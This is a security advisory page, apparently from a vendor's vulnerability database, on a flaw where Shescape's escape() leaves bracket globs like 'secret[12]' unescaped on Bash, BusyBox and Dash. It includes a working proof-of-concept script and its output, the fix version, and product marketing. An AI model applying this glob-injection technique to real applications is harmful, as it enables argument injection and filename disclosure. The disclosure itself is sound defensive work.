GHSA-9jfh-9xrq-4vwm
Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
Weekly download volume for affected packages — a proxy for how broadly this vulnerability is deployed.
shescapenpmDescription
Summary
Shescape#escape() does not escape square-bracket glob syntax for Bash, BusyBox sh, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like secret[12] to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches.
Details
The unquoted Unix escape helpers never add [ or ] to their “special characters” regexes:
src/internal/unix/bash.js:14-30src/internal/unix/busybox.js:14-30src/internal/unix/dash.js:12-19
They escape */? but not brackets, so new Shescape({ shell: "/usr/bin/bash" }).escape("secret[12]") still produces secret[12]. The fixtures (test/fixtures/unix.js:2236-2265, 3496-3525, 5762-5792) are currently written to expect literal brackets for these shells, confirming the behavior. The documentation recommends Shescape#escape() as the fallback for exec when quoting isn’t possible (docs/recipes.md:154-183).
Proof of Concept
Use the published npm tarball without modifications:
tmp=$(mktemp -d)
cd "$tmp"
npm pack [email protected] >/dev/null
mkdir pkg
tar -xzf shescape-2.1.9.tgz -C pkg
cd pkg/package
npm install --omit=dev
node --input-type=module - <<'NODE'
import { mkdtempSync, writeFileSync } from "node:fs";
import { tmpdir } from "node:os";
import path from "node:path";
import { execSync } from "node:child_process";
import { Shescape } from "./src/index.js";
const dir = mkdtempSync(path.join(tmpdir(), "shescape-ghsa-poc-"));
writeFileSync(path.join(dir, "secret1"), "");
writeFileSync(path.join(dir, "secret2"), "");
for (const shell of ["/usr/bin/bash", "/usr/bin/dash"]) {
const shescape = new Shescape({ shell });
const escaped = shescape.escape("secret[12]");
console.log(${shell} escaped=${escaped});
const out = execSync(printf '<%s>\\n' ${escaped}, { cwd: dir, shell }).toString();
process.stdout.write(out);
}
NODE
Output:
/usr/bin/bash escaped=secret[12]
<secret1>
<secret2>
/usr/bin/dash escaped=secret[12]
<secret1>
<secret2>
Expected: the shell receives secret\[12\], so only one literal argument runs.
Impact
Argument injection: a single untrusted argument expands into multiple pathname matches from the trusted filesystem. This can change command behavior, target unintended files, or leak filenames. Any application calling Shescape#escape() with Bash/BusyBox/Dash shells and interpolating the result into a shell command string is affected.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | shescape | all versions | 2.1.10 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for shescape. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update shescape to 2.1.10 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9jfh-9xrq-4vwm is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-9jfh-9xrq-4vwm is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-9jfh-9xrq-4vwm. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-9jfh-9xrq-4vwm in your dependencies?
O3 detects GHSA-9jfh-9xrq-4vwm across npm dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.